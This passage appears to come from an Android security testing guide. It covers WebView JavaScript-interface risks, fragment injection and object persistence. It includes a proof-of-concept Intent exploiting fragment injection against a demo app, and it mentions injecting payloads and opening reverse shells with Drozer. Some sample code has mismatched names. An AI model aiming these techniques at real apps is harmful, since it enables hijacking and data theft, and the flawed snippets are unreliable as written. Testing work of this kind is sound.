An app that targets an Android version older than Android 4.2 is still vulnerable to the flaw in addJavascriptInterface and should be used only with extreme care. Several best practices should be used when this method is necessary.

Static Analysis

You need to determine whether the method addJavascriptInterface is used, how it is used, and whether an attacker can inject malicious JavaScript.

The following example shows how addJavascriptInterface is used to bridge a Java Object and JavaScript in a WebView:

WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
​
MSTG_ENV_008_JS_Interface jsInterface = new MSTG_ENV_008_JS_Interface(this);
​
myWebView.addJavascriptInterface(jsInterface, "Android");
myWebView.loadURL("http://example.com/file.html");
setContentView(myWebView);

In Android API levels 17 and above, an annotation called JavascriptInterface explicitly allows JavaScript to access a Java method.

public class MSTG_ENV_008_JS_Interface {
​
        Context mContext;
​
        /** Instantiate the interface and set the context */
        MSTG_ENV_005_JS_Interface(Context c) {
            mContext = c;
        }
​
        @JavascriptInterface
        public String returnString () {
            return "Secret String";
        }
​
        /** Show a toast from the web page */
        @JavascriptInterface
        public void showToast(String toast) {
            Toast.makeText(mContext, toast, Toast.LENGTH_SHORT).show();
        }
}

If the annotation @JavascriptInterface is defined for a method, it can be called by JavaScript. If the app targets API level < 17, all Java Object methods are exposed by default to JavaScript and can be called.

The method returnString can then be called in JavaScript in order to retrieve the return value. The value is then stored in the parameter result.

var result = window.Android.returnString();

With access to the JavaScript code, via, for example, stored XSS or a MITM attack, an attacker can directly call the exposed Java methods.

If addJavascriptInterface is necessary, only JavaScript provided with the APK should be allowed to call it; no JavaScript should be loaded from remote endpoints.

Another solution is limiting the API level to 17 (JELLY_BEAN_MR1) and above in the manifest file of the app. Only public methods that are annotated with JavascriptInterface can be accessed via JavaScript at these API levels.

<uses-sdk android:minSdkVersion="17" />
...
​
</manifest>

Dynamic Analysis

Dynamic analysis of the app can show you which HTML or JavaScript files are loaded and which vulnerabilities are present. The procedure for exploiting the vulnerability starts with producing a JavaScript payload and injecting it into the file that the app is requesting. The injection can be accomplished via a MITM attack or direct modification of the file if it is stored in external storage. The whole process can be accomplished via Drozer and weasel (MWR's advanced exploitation payload), which can install a full agent, injecting a limited agent into a running process or connecting a reverse shell as a Remote Access Tool (RAT).

A full description of the attack is included in the blog article by MWR.

Testing for Fragment Injection

Overview

Android SDK offers developers a way to present a Preferences activity to users, allowing the developers to extend and adapt this abstract class.

This abstract class parses the extra data fields of an Intent, in particular, the PreferenceActivity.EXTRA_SHOW_FRAGMENT(:android:show_fragment) and PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS(:android:show_fragment_arguments) fields.

The first field is expected to contain the Fragment class name, and the second one is expected to contain the input bundle passed to the Fragment.

Because the PreferenceActivity uses reflection to load the fragment, an arbitrary class may be loaded inside the package or the Android SDK. The loaded class runs in the context of the application that exports this activity.

With this vulnerability, an attacker can call fragments inside the target application or run the code present in other classes' constructors. Any class that's passed in the Intent and does not extend the Fragment class will cause a java.lang.CastException, but the empty constructor will be executed before the exception is thrown, allowing the code present in the class constructor run.

To prevent this vulnerability, a new method called isValidFragment was added in Android 4.4 KitKat (API Level 19). It allows developers to override this method and define the fragments that may be used in this context.

The default implementation returns true on versions older than Android 4.4 KitKat (API Level 19); it will throw an exception on later versions.

Static Analysis

Steps:

• Check if targetSdkVersion less than 19.

• Find exported Activities that extend the PreferenceActivity class.

• Determine whether the method isValidFragment has been overridden.

• If the app currently sets its targetSdkVersion in the manifest to a value less than 19 and the vulnerable class does not contain any implementation of isValidFragment then, the vulnerability is inherited from the PreferenceActivity.

• In order to fix, developers should either update the targetSdkVersion to 19 or higher. Alternatively, if the targetSdkVersion cannot be updated, then developers should implement isValidFragment as described.

The following example shows an Activity that extends this activity:

public class MyPreferences extends PreferenceActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

The following examples show the isValidFragment method being overridden with an implementation that allows the loading of MyPreferenceFragment only:

@Override
protected boolean isValidFragment(String fragmentName)
{
return "com.fullpackage.MyPreferenceFragment".equals(fragmentName);
}

Example of Vulnerable App and Exploitation

MainActivity.class

public class MainActivity extends PreferenceActivity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }
}

MyFragment.class

public class MyFragment extends Fragment {
    public void onCreate (Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View v = inflater.inflate(R.layout.fragmentLayout, null);
        WebView myWebView = (WebView) wv.findViewById(R.id.webview);
        myWebView.getSettings().setJavaScriptEnabled(true);
        myWebView.loadUrl(this.getActivity().getIntent().getDataString());
        return v;
    }
}

To exploit this vulnerable Activity, you can create an application with the following code:

Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName("pt.claudio.insecurefragment","pt.claudio.insecurefragment.MainActivity");
i.putExtra(":android:show_fragment","pt.claudio.insecurefragment.MyFragment");
Intent intent = i.setData(Uri.parse("https://security.claudio.pt"));
startActivity(i);

The Vulnerable App and Exploit PoC App are available for downloading.

Testing Object Persistence

Overview

There are several ways to persist an object on Android:

Object Serialization

An object and its data can be represented as a sequence of bytes. This is done in Java via object serialization. Serialization is not inherently secure. It is just a binary format (or representation) for locally storing data in a .ser file. Encrypting and signing HMAC-serialized data is possible as long as the keys are stored safely. Deserializing an object requires a class of the same version as the class used to serialize the object. After classes have been changed, the ObjectInputStream can't create objects from older .ser files. The example below shows how to create a Serializable class by implementing the Serializable interface.

import java.io.Serializable;
​
public class Person implements Serializable {
  private String firstName;
  private String lastName;
​
  public Person(String firstName, String lastName) {
    this.firstName = firstName;
    this.lastName = lastName;
    }
  //..
  //getters, setters, etc
  //..
​
}

Now you can read/write the object with ObjectInputStream/ObjectOutputStream in another class.

JSON

There are several ways to serialize the contents of an object to JSON. Android comes with the JSONObject and JSONArray classes. A wide variety of libraries, including GSON, Jackson, Moshi, can also be used. The main differences between the libraries are whether they use reflection to compose the object, whether they support annotations, whether the create immutable objects, and the amount of memory they use. Note that almost all the JSON representations are String-based and therefore immutable. This means that any secret stored in JSON will be harder to remove from memory. JSON itself can be stored anywhere, e.g., a (NoSQL) database or a file. You just need to make sure that any JSON that contains secrets has been appropriately protected (e.g., encrypted/HMACed). See the data storage chapter for more details. A simple example (from the GSON User Guide) of writing and reading JSON with GSON follows. In this example, the contents of an instance of the BagOfPrimitives is serialized into JSON:

class BagOfPrimitives {
  private int value1 = 1;
  private String value2 = "abc";
  private transient int value3 = 3;
  BagOfPrimitives() {
    // no-args constructor
  }
}
​
// Serialization
BagOfPrimitives obj = new BagOfPrimitives();
Gson gson = new Gson();
String json = gson.toJson(obj);  
​
// ==> json is {"value1":1,"value2":"abc"}

XML

There are several ways to serialize the contents of an object to XML and back. Android comes with the XmlPullParser interface which allows for easily maintainable XML parsing. There are two implementations within Android: KXmlParser and ExpatPullParser. The Android Developer Guide provides a great write-up on how to use them. Next, there are various alternatives, such as a SAX parser that comes with the Java runtime. For more information, see this blogpost. Similarly to JSON, XML has the issue of working mostly String based, which means that String-type secrets will be harder to remove from memory. XML data can be stored anywhere (database, files), but do need additional protection in case of secrets or information that should not be changed. See the data storage chapter for more details. As stated earlier: the true danger in XML lies in the XML eXternal Entity attack (XXE) as it might allow for reading external data sources that are still acecssible within the application.

ORM

There are libraries that provide functionality for directly storing the contents of an object in a database and then instantiating the object with the database contents. This is called Object-Relational Mapping (ORM). Libraries that use the SQLite database include

• ​OrmLite,

• ​SugarORM,

• ​GreenDAO and

• ​ActiveAndroid.

​Realm, on the other hand, uses its own database to store the contents of a class. The amount of protection that ORM can provide depends primarily on whether the database is encrypted. See the data storage chapter for more details. The Realm website includes a nice example of ORM Lite.

Parcelable

​Parcelable is an interface for classes whose instances can be written to and restored from a Parcel. Parcels are often used to pack a class as part of a Bundle for an Intent. Here's an Android developer documentation example that implements Parcelable:

public class MyParcelable implements Parcelable {
     private int mData;
​
     public int describeContents() {
         return 0;
     }
​
     public void writeToParcel(Parcel out, int flags) {
         out.writeInt(mData);
     }
​
     public static final Parcelable.Creator<MyParcelable> CREATOR
             = new Parcelable.Creator<MyParcelable>() {
         public MyParcelable createFromParcel(Parcel in) {
             return new MyParcelable(in);
         }
​
         public MyParcelable[] newArray(int size) {
             return new MyParcelable[size];
         }
     };
​
     private MyParcelable(Parcel in) {
         mData = in.readInt();
     }
 }